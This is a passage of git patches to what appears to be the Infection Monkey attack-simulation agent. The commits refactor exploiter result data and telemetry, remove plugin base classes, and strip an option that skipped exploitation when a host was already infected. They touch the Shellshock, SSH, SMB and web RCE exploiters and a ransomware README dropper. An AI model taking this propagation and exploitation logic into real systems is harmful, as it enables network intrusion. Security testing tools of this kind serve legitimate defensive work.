_is_not_ransomware_readme_filter(filepath: Path) -> bool: if filepath.name != README_FILE_NAME: return True - return get_file_sha256_hash(filepath) != README_SHA256_HASH + return not filecmp.cmp(filepath, README_SRC) diff --git a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py index 8736e7c0d..35f12bdd4 100644 --- a/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py +++ b/monkey/tests/unit_tests/infection_monkey/payload/ransomware/test_readme_dropper.py @@ -1,10 +1,11 @@ +import filecmp + import pytest from common.utils.file_utils import get_file_sha256_hash from infection_monkey.payload.ransomware.readme_dropper import leave_readme DEST_FILE = "README.TXT" -README_HASH = "c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31" EMPTY_FILE_HASH = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" @@ -22,11 +23,9 @@ def test_readme_already_exists(src_readme, dest_readme): dest_readme.touch() leave_readme(src_readme, dest_readme) - assert get_file_sha256_hash(dest_readme) == EMPTY_FILE_HASH def test_leave_readme(src_readme, dest_readme): leave_readme(src_readme, dest_readme) - - assert get_file_sha256_hash(dest_readme) == README_HASH + assert filecmp.cmp(src_readme, dest_readme) From 17be51fe71d620be3a821271f5cf6a9cd8ecdb93 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 20 Feb 2022 14:20:33 -0500 Subject: [PATCH 0464/1110] Agent: Remove disused HostFinger abstract class --- monkey/infection_monkey/network/HostFinger.py | 33 ------------------- 1 file changed, 33 deletions(-) delete mode 100644 monkey/infection_monkey/network/HostFinger.py diff --git a/monkey/infection_monkey/network/HostFinger.py b/monkey/infection_monkey/network/HostFinger.py deleted file mode 100644 index 0ff0cb8e0..000000000 --- a/monkey/infection_monkey/network/HostFinger.py +++ /dev/null @@ -1,33 +0,0 @@ -from abc import abstractmethod - -import infection_monkey.network -from infection_monkey.config import WormConfiguration -from infection_monkey.utils.plugins.plugin import Plugin - - -class HostFinger(Plugin): - @staticmethod - def base_package_file(): - return infection_monkey.network.__file__ - - @staticmethod - def base_package_name(): - return infection_monkey.network.__package__ - - @property - @abstractmethod - def _SCANNED_SERVICE(self): - pass - - def init_service(self, services, service_key, port): - services[service_key] = {} - services[service_key]["display_name"] = self._SCANNED_SERVICE - services[service_key]["port"] = port - - @abstractmethod - def get_host_fingerprint(self, host): - raise NotImplementedError() - - @staticmethod - def should_run(class_name: str) -> bool: - return class_name in WormConfiguration.finger_classes From 250530b456202dc7a249ed7b3d05e6bb804e4622 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 20 Feb 2022 14:21:21 -0500 Subject: [PATCH 0465/1110] Agent: Remove disused HostScanner abstract class --- monkey/infection_monkey/network/HostScanner.py | 7 ------- 1 file changed, 7 deletions(-) delete mode 100644 monkey/infection_monkey/network/HostScanner.py diff --git a/monkey/infection_monkey/network/HostScanner.py b/monkey/infection_monkey/network/HostScanner.py deleted file mode 100644 index 4f7b850c1..000000000 --- a/monkey/infection_monkey/network/HostScanner.py +++ /dev/null @@ -1,7 +0,0 @@ -from abc import ABCMeta, abstractmethod - - -class HostScanner(metaclass=ABCMeta): - @abstractmethod - def is_host_alive(self, host): - raise NotImplementedError() From 6150610bdc7c1f94855ef8d75a9342802341effd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 20 Feb 2022 14:14:15 -0500 Subject: [PATCH 0466/1110] Agent: Remove HostExploiter's dependency on Plugin Issue #1605 PR #1725 --- .../infection_monkey/exploit/HostExploiter.py | 20 +------------------ 1 file changed, 1 insertion(+), 19 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 34fd674ff..ed7d29d18 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -2,32 +2,14 @@ import logging from abc import abstractmethod from datetime import datetime -import infection_monkey.exploit from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration -from infection_monkey.utils.plugins.plugin import Plugin logger = logging.getLogger(__name__) -class HostExploiter(Plugin): - @staticmethod - def should_run(class_name): - """ - Decides if post breach action is enabled in config - :return: True if it needs to be ran, false otherwise - """ - return class_name in WormConfiguration.exploiter_classes - - @staticmethod - def base_package_file(): - return infection_monkey.exploit.__file__ - - @staticmethod - def base_package_name(): - return infection_monkey.exploit.__package__ - +class HostExploiter: _TARGET_OS_TYPE = [] # Usual values are 'vulnerability' or 'brute_force' From 8d0fa3faef58c24f512fe15aae367d8d84a1dbb8 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 13:18:53 +0530 Subject: [PATCH 0467/1110] Agent: Modify ExploiterResultData to have more details --- monkey/infection_monkey/i_puppet/i_puppet.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index cafc24f4d..0372b2910 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -17,7 +17,8 @@ class UnknownPluginError(Exception): ExploiterResultData = namedtuple( - "ExploiterResultData", ["success", "info", "attempts", "error_message"] + "ExploiterResultData", + ["exploit_success", "propagation_success", "os", "info", "attempts", "error_message"], ) PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) From add9c3a4fe8468e03bb1ae248108f19e84ce6277 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 13:26:25 +0530 Subject: [PATCH 0468/1110] Agent: Modify mock puppet to conform to modified ExploiterResultData --- monkey/infection_monkey/puppet/mock_puppet.py | 32 +++++++++++++++---- 1 file changed, 25 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 8b76d175a..453265f55 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -177,25 +177,43 @@ class MockPuppet(IPuppet): "vulnerable_ports": [22], "executed_cmds": [], } + os_windows = "windows" + os_linux = "linux" + successful_exploiters = { DOT_1: { - "PowerShellExploiter": ExploiterResultData(True, info_powershell, attempts, None), - "ZerologonExploiter": ExploiterResultData(False, {}, [], "Zerologon failed"), - "SSHExploiter": ExploiterResultData(False, info_ssh, attempts, "Failed exploiting"), + "PowerShellExploiter": ExploiterResultData( + True, True, os_windows, info_powershell, attempts, None + ), + "ZerologonExploiter": ExploiterResultData( + False, False, os_windows, {}, [], "Zerologon failed" + ), + "SSHExploiter": ExploiterResultData( + False, False, os_linux, info_ssh, attempts, "Failed exploiting" + ), }, DOT_3: { "PowerShellExploiter": ExploiterResultData( - False, info_powershell, attempts, "PowerShell Exploiter Failed" + False, + False, + os_windows, + info_powershell, + attempts, + "PowerShell Exploiter Failed", ), - "SSHExploiter": ExploiterResultData(False, info_ssh, attempts, "Failed exploiting"), - "ZerologonExploiter": ExploiterResultData(True, {}, [], None), + "SSHExploiter": ExploiterResultData( + False, False, os_linux, info_ssh, attempts, "Failed exploiting" + ), + "ZerologonExploiter": ExploiterResultData(True, False, os_windows, {}, [], None), }, } try: return successful_exploiters[host][name] except KeyError: - return ExploiterResultData(False, {}, [], f"{name} failed for host {host}") + return ExploiterResultData( + False, False, os_linux, {}, [], f"{name} failed for host {host}" + ) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): logger.debug(f"run_payload({name}, {options})") From ae856383a949065a467ae6a059fac850ab3d0de6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 13:27:11 +0530 Subject: [PATCH 0469/1110] UT: Modify UTs to conform to modified ExploiterResultData --- .../master/test_propagator.py | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index 0e54f2a4e..f8decace8 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -100,6 +100,10 @@ dot_3_services = { }, } +os_windows = "windows" + +os_linux = "linux" + @pytest.fixture def mock_ip_scanner(): @@ -184,34 +188,38 @@ class MockExploiter: results_callback( "PowerShellExploiter", host, - ExploiterResultData(True, {}, {}, None), + ExploiterResultData(True, True, os_windows, {}, {}, None), ) results_callback( "SSHExploiter", host, - ExploiterResultData(False, {}, {}, "SSH FAILED for .1"), + ExploiterResultData(False, False, os_linux, {}, {}, "SSH FAILED for .1"), ) elif host.ip_addr.endswith(".2"): results_callback( "PowerShellExploiter", host, - ExploiterResultData(False, {}, {}, "POWERSHELL FAILED for .2"), + ExploiterResultData( + False, False, os_windows, {}, {}, "POWERSHELL FAILED for .2" + ), ) results_callback( "SSHExploiter", host, - ExploiterResultData(False, {}, {}, "SSH FAILED for .2"), + ExploiterResultData(False, False, os_linux, {}, {}, "SSH FAILED for .2"), ) elif host.ip_addr.endswith(".3"): results_callback( "PowerShellExploiter", host, - ExploiterResultData(False, {}, {}, "POWERSHELL FAILED for .3"), + ExploiterResultData( + False, False, os_windows, {}, {}, "POWERSHELL FAILED for .3" + ), ) results_callback( "SSHExploiter", host, - ExploiterResultData(True, {}, {}, None), + ExploiterResultData(True, True, os_linux, {}, {}, None), ) From 9f01aa0a0d0af57e3a63f7b9ed44e56a00164893 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 13:49:40 +0530 Subject: [PATCH 0470/1110] Agent: Add try/except for importing pwd (can't do it on Windows) --- .../credential_collectors/ssh_collector/ssh_handler.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py index ce3b17311..2e799e0c4 100644 --- a/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py +++ b/monkey/infection_monkey/credential_collectors/ssh_collector/ssh_handler.py @@ -1,7 +1,11 @@ import glob import logging import os -import pwd + +try: # can't import on Windows + import pwd +except ModuleNotFoundError: + pass from typing import Dict, Iterable from common.utils.attack_utils import ScanStatus From a9e000f10071952cbfa27ebe2462ea06f1cdce2e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 14:38:12 +0530 Subject: [PATCH 0471/1110] Agent: Modify ExploitTelem based on ExploiterResultData changes --- .../infection_monkey/exploit/HostExploiter.py | 2 +- monkey/infection_monkey/master/exploiter.py | 2 +- monkey/infection_monkey/master/mock_master.py | 40 +++++++++++++++---- monkey/infection_monkey/master/propagator.py | 18 +++++++-- .../telemetry/exploit_telem.py | 19 +++++++-- 5 files changed, 64 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index ed7d29d18..744ea57e8 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -51,7 +51,7 @@ class HostExploiter: def send_exploit_telemetry(self, name: str, result: bool): from infection_monkey.telemetry.exploit_telem import ExploitTelem - ExploitTelem( + ExploitTelem( # stale code name=name, host=self.host, result=result, diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 4355ecc16..f0256ed74 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -86,7 +86,7 @@ class Exploiter: exploiter_results = self._run_exploiter(exploiter_name, victim_host, stop) results_callback(exploiter_name, victim_host, exploiter_results) - if exploiter_name != "ZerologonExploiter" and exploiter_results.success: + if exploiter_results.propagation_success: break def _run_exploiter( diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 5c522a565..e75f3caf2 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -101,20 +101,44 @@ class MockMaster(IMaster): def _exploit(self): logger.info("Exploiting victims") - result, info, attempts, error_message = self._puppet.exploit_host( - "PowerShellExploiter", "10.0.0.1", {}, None - ) + ( + exploit_result, + propagation_result, + os, + info, + attempts, + error_message, + ) = self._puppet.exploit_host("PowerShellExploiter", "10.0.0.1", {}, None) logger.info(f"Attempts for exploiting {attempts}") self._telemetry_messenger.send_telemetry( - ExploitTelem("PowerShellExploiter", self._hosts["10.0.0.1"], result, info, attempts) + ExploitTelem( + "PowerShellExploiter", + self._hosts["10.0.0.1"], + exploit_result, + propagation_result, + info, + attempts, + ) ) - result, info, attempts, error_message = self._puppet.exploit_host( - "SSHExploiter", "10.0.0.3", {}, None - ) + ( + exploit_result, + propagation_result, + os, + info, + attempts, + error_message, + ) = self._puppet.exploit_host("SSHExploiter", "10.0.0.3", {}, None) logger.info(f"Attempts for exploiting {attempts}") self._telemetry_messenger.send_telemetry( - ExploitTelem("SSHExploiter", self._hosts["10.0.0.3"], result, info, attempts) + ExploitTelem( + "SSHExploiter", + self._hosts["10.0.0.3"], + exploit_result, + propagation_result, + info, + attempts, + ) ) logger.info("Finished exploiting victims") diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 87f9a1896..870d47d8e 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -153,13 +153,25 @@ class Propagator: def _process_exploit_attempts( self, exploiter_name: str, host: VictimHost, result: ExploiterResultData ): - if result.success: + if result.propagation_success: logger.info(f"Successfully propagated to {host} using {exploiter_name}") + elif result.exploit_success: + logger.info( + f"Successfully exploited (but did not propagate to) {host} using {exploiter_name}" + ) else: logger.info( - f"Failed to propagate to {host} using {exploiter_name}: {result.error_message}" + f"Failed to exploit or propagate to {host} using {exploiter_name}: " + f"{result.error_message}" ) self._telemetry_messenger.send_telemetry( - ExploitTelem(exploiter_name, host, result.success, result.info, result.attempts) + ExploitTelem( + exploiter_name, + host, + result.exploit_success, + result.propagation_success, + result.info, + result.attempts, + ) ) diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index a34b4e861..898df4b3e 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -6,12 +6,21 @@ from infection_monkey.telemetry.base_telem import BaseTelem class ExploitTelem(BaseTelem): - def __init__(self, name: str, host: VictimHost, result: bool, info: Dict, attempts: List): + def __init__( + self, + name: str, + host: VictimHost, + exploit_result: bool, + propagation_result: bool, + info: Dict, + attempts: List, + ): """ Default exploit telemetry constructor :param name: The name of exploiter used :param host: The host machine - :param result: The result from the 'exploit_host' method + :param exploit_result: The result of exploitation from the 'exploit_host' method + :param propagation_result: The result of propagation from the 'exploit_host' method :param info: Information about the exploiter :param attempts: Information about the exploiter's attempts """ @@ -19,7 +28,8 @@ class ExploitTelem(BaseTelem): self.name = name self.host = host.__dict__ - self.result = result + self.exploit_result = exploit_result + self.propagation_result = propagation_result self.info = info self.attempts = attempts @@ -27,7 +37,8 @@ class ExploitTelem(BaseTelem): def get_data(self) -> Dict: return { - "result": self.result, + "exploit_result": self.exploit_result, + "propagation_result": self.propagation_result, "machine": self.host, "exploiter": self.name, "info": self.info, From 125412ee189d23de60f4bd7f773c78137416a642 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 14:50:33 +0530 Subject: [PATCH 0472/1110] Agent: Rename variables to make more sense --- monkey/infection_monkey/i_puppet/i_puppet.py | 2 +- monkey/infection_monkey/master/mock_master.py | 8 ++++---- monkey/infection_monkey/master/propagator.py | 4 ++-- monkey/infection_monkey/telemetry/exploit_telem.py | 12 +++++++----- 4 files changed, 14 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 0372b2910..79bd3b4fe 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -18,7 +18,7 @@ class UnknownPluginError(Exception): ExploiterResultData = namedtuple( "ExploiterResultData", - ["exploit_success", "propagation_success", "os", "info", "attempts", "error_message"], + ["exploitation_success", "propagation_success", "os", "info", "attempts", "error_message"], ) PingScanData = namedtuple("PingScanData", ["response_received", "os"]) PortScanData = namedtuple("PortScanData", ["port", "status", "banner", "service"]) diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index e75f3caf2..a7b62b1fd 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -102,7 +102,7 @@ class MockMaster(IMaster): def _exploit(self): logger.info("Exploiting victims") ( - exploit_result, + exploitation_result, propagation_result, os, info, @@ -114,7 +114,7 @@ class MockMaster(IMaster): ExploitTelem( "PowerShellExploiter", self._hosts["10.0.0.1"], - exploit_result, + exploitation_result, propagation_result, info, attempts, @@ -122,7 +122,7 @@ class MockMaster(IMaster): ) ( - exploit_result, + exploitation_result, propagation_result, os, info, @@ -134,7 +134,7 @@ class MockMaster(IMaster): ExploitTelem( "SSHExploiter", self._hosts["10.0.0.3"], - exploit_result, + exploitation_result, propagation_result, info, attempts, diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 870d47d8e..e093c259c 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -155,7 +155,7 @@ class Propagator: ): if result.propagation_success: logger.info(f"Successfully propagated to {host} using {exploiter_name}") - elif result.exploit_success: + elif result.exploitation_success: logger.info( f"Successfully exploited (but did not propagate to) {host} using {exploiter_name}" ) @@ -169,7 +169,7 @@ class Propagator: ExploitTelem( exploiter_name, host, - result.exploit_success, + result.exploitation_success, result.propagation_success, result.info, result.attempts, diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index 898df4b3e..312a34592 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -10,7 +10,7 @@ class ExploitTelem(BaseTelem): self, name: str, host: VictimHost, - exploit_result: bool, + exploitation_result: bool, propagation_result: bool, info: Dict, attempts: List, @@ -19,8 +19,10 @@ class ExploitTelem(BaseTelem): Default exploit telemetry constructor :param name: The name of exploiter used :param host: The host machine - :param exploit_result: The result of exploitation from the 'exploit_host' method - :param propagation_result: The result of propagation from the 'exploit_host' method + :param exploitation_result: The result of the exploitation attempt from the 'exploit_host' + method + :param propagation_result: The result of the propagation attempt from the 'exploit_host' + method :param info: Information about the exploiter :param attempts: Information about the exploiter's attempts """ @@ -28,7 +30,7 @@ class ExploitTelem(BaseTelem): self.name = name self.host = host.__dict__ - self.exploit_result = exploit_result + self.exploitation_result = exploitation_result self.propagation_result = propagation_result self.info = info self.attempts = attempts @@ -37,7 +39,7 @@ class ExploitTelem(BaseTelem): def get_data(self) -> Dict: return { - "exploit_result": self.exploit_result, + "exploitation_result": self.exploitation_result, "propagation_result": self.propagation_result, "machine": self.host, "exploiter": self.name, From 1cce7426921568590d942988397b3709afd8d296 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 16:02:00 +0530 Subject: [PATCH 0473/1110] UT: Fix UTs as per changes to ExploiterResultData and ExploitTelem --- .../unit_tests/infection_monkey/master/test_propagator.py | 8 ++++---- .../infection_monkey/telemetry/test_exploit_telem.py | 5 +++-- 2 files changed, 7 insertions(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index f8decace8..06be41c71 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -254,14 +254,14 @@ def test_exploiter_result_processing( if ip.endswith(".1"): if data["exploiter"].startswith("PowerShell"): - assert data["result"] + assert data["propagation_result"] else: - assert not data["result"] + assert not data["propagation_result"] elif ip.endswith(".3"): if data["exploiter"].startswith("PowerShell"): - assert not data["result"] + assert not data["propagation_result"] else: - assert data["result"] + assert data["propagation_result"] def test_scan_target_generation(telemetry_messenger_spy, mock_ip_scanner, mock_victim_host_factory): diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py index 982299947..0adf69651 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/test_exploit_telem.py @@ -34,13 +34,14 @@ RESULT = False @pytest.fixture def exploit_telem_test_instance(): - return ExploitTelem(EXPLOITER_NAME, HOST, RESULT, EXPLOITER_INFO, EXPLOITER_ATTEMPTS) + return ExploitTelem(EXPLOITER_NAME, HOST, RESULT, RESULT, EXPLOITER_INFO, EXPLOITER_ATTEMPTS) def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): exploit_telem_test_instance.send() expected_data = { - "result": RESULT, + "exploitation_result": RESULT, + "propagation_result": RESULT, "machine": HOST_AS_DICT, "exploiter": EXPLOITER_NAME, "info": EXPLOITER_INFO, From e6f4c74b79e092b84ff410db6fad0bff0bd4497e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 16:45:17 +0530 Subject: [PATCH 0474/1110] Agent: Remove `skip_exploit_if_file_exist` option --- monkey/infection_monkey/config.py | 6 --- monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/exploit/shellshock.py | 9 ----- monkey/infection_monkey/exploit/sshexec.py | 14 ------- .../exploit/tools/smb_tools.py | 18 --------- monkey/infection_monkey/exploit/web_rce.py | 40 ------------------- 6 files changed, 88 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index fca494e36..be56985e3 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -140,12 +140,6 @@ class Configuration(object): # Ping Scanner ping_scan_timeout = 1000 - ########################### - # exploiters config - ########################### - - skip_exploit_if_file_exist = False - ########################### # ransomware config ########################### diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 2133be9e3..a0bf5f414 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -47,7 +47,6 @@ "smb_download_timeout": 300, "smb_service_name": "InfectionMonkey", "self_delete_in_cleanup": true, - "skip_exploit_if_file_exist": false, "exploit_user_list": [], "exploit_password_list": [], "exploit_lm_hash_list": [], diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 2f1284201..f76739e1d 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -36,7 +36,6 @@ class ShellShockExploiter(HostExploiter): self.success_flag = "".join( safe_random.choice(string.ascii_uppercase + string.digits) for _ in range(20) ) - self.skip_exist = self._config.skip_exploit_if_file_exist def _exploit_host(self): # start by picking ports @@ -108,14 +107,6 @@ class ShellShockExploiter(HostExploiter): # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and ( - self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux) - ): - logger.info( - "Host %s was already infected under the current configuration, " - "done" % self.host - ) - return True # return already infected src_path = get_target_monkey(self.host) if not src_path: diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 0af7f7174..a989ea66c 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -29,7 +29,6 @@ class SSHExploiter(HostExploiter): def __init__(self, host): super(SSHExploiter, self).__init__(host) self._update_timestamp = 0 - self.skip_exist = self._config.skip_exploit_if_file_exist def log_transfer(self, transferred, total): # TODO: Replace with infection_monkey.utils.timer.Timer @@ -147,19 +146,6 @@ class SSHExploiter(HostExploiter): "Error running uname machine command on victim %r: (%s)", self.host, exc ) - if self.skip_exist: - _, stdout, stderr = ssh.exec_command( - "head -c 1 %s" % self._config.dropper_target_path_linux - ) - stdout_res = stdout.read().strip() - if stdout_res: - # file exists - logger.info( - "Host %s was already infected under the current configuration, " - "done" % self.host - ) - return True # return already infected - src_path = get_target_monkey(self.host) if not src_path: diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index d9ca57108..362c1b083 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMB_DIALECT, SMBConnection -import infection_monkey.config import infection_monkey.monkeyfs as monkeyfs from common.utils.attack_utils import ScanStatus from infection_monkey.config import Configuration @@ -22,8 +21,6 @@ class SmbTools(object): host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 ): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) - config = infection_monkey.config.WormConfiguration - src_file_size = monkeyfs.getsize(src_path) smb, dialect = SmbTools.new_smb_connection( host, username, password, lm_hash, ntlm_hash, timeout @@ -140,21 +137,6 @@ class SmbTools(object): remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) - # check if file is found on destination - if config.skip_exploit_if_file_exist: - try: - file_info = smb.listPath(share_name, remote_path) - if file_info: - if src_file_size == file_info[0].get_filesize(): - logger.debug("Remote monkey file is same as source, skipping copy") - return remote_full_path - - logger.debug( - "Remote monkey file is found but different, moving along with " "attack" - ) - except Exception: - pass # file isn't found on remote victim, moving on - try: with monkeyfs.open(src_path, "rb") as source_file: # make sure of the timeout diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index a66e22ba7..5c315e61d 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -31,7 +31,6 @@ from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) # Command used to check if monkeys already exists -LOOK_FOR_FILE = "ls %s" POWERSHELL_NOT_FOUND = "powershell is not recognized" @@ -52,7 +51,6 @@ class WebRCE(HostExploiter): "win64": self._config.dropper_target_path_win_64, } self.HTTP = [str(port) for port in self._config.HTTP_PORTS] - self.skip_exist = self._config.skip_exploit_if_file_exist self.vulnerable_urls = [] self.target_url = None @@ -110,17 +108,6 @@ class WebRCE(HostExploiter): self.target_url = self.get_target_url() - # Skip if monkey already exists and this option is given - if ( - not exploit_config["blind_exploit"] - and self.skip_exist - and self.check_remote_files(self.target_url) - ): - logger.info( - "Host %s was already infected under the current configuration, done" % self.host - ) - return True - # Check for targets architecture (if it's 32 or 64 bit) if not exploit_config["blind_exploit"] and not self.set_host_arch(self.get_target_url()): return False @@ -299,33 +286,6 @@ class WebRCE(HostExploiter): else: return False - def check_remote_monkey_file(self, url, path): - command = LOOK_FOR_FILE % path - resp = self.exploit(url, command) - if "No such file" in resp: - return False - else: - logger.info( - "Host %s was already infected under the current configuration, done" - % str(self.host) - ) - return True - - def check_remote_files(self, url): - """ - :param url: Url for exploiter to use - :return: True if at least one file is found, False otherwise - """ - paths = [] - if "linux" in self.host.os["type"]: - paths.append(self.monkey_target_paths["linux"]) - else: - paths.extend([self.monkey_target_paths["win32"], self.monkey_target_paths["win64"]]) - for path in paths: - if self.check_remote_monkey_file(url, path): - return True - return False - # Wrapped functions: def get_ports_w(self, ports, names): """ From 201a838e23c2ecc6d8e8e6e17d22b80b67207aca Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 16:45:45 +0530 Subject: [PATCH 0475/1110] Island: Remove `skip_exploit_if_file_exist` from internal config --- .../cc/services/config_schema/internal.py | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 94a1f3603..c9325ab0e 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -252,20 +252,6 @@ INTERNAL = { "items": {"type": "string"}, "description": "List of SSH key pairs to use, when trying to ssh into servers", }, - "general": { - "title": "General", - "type": "object", - "properties": { - "skip_exploit_if_file_exist": { - "title": "Skip exploit if file exists", - "type": "boolean", - "default": False, - "description": "Determines whether the monkey should skip the exploit " - "if the monkey's file" - " is already on the remote machine", - } - }, - }, }, "smb_service": { "title": "SMB service", From 3c80e1c38b5e116df946cfa59dd14ab3fff9f261 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 21 Feb 2022 16:46:23 +0530 Subject: [PATCH 0476/1110] UT: Remove `skip_exploit_if_file_exist` config field --- monkey/tests/data_for_tests/monkey_configs/flat_config.json | 1 - .../monkey_configs/monkey_config_standard.json | 5 +---- 2 files changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 5693307f2..4fdc49340 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ 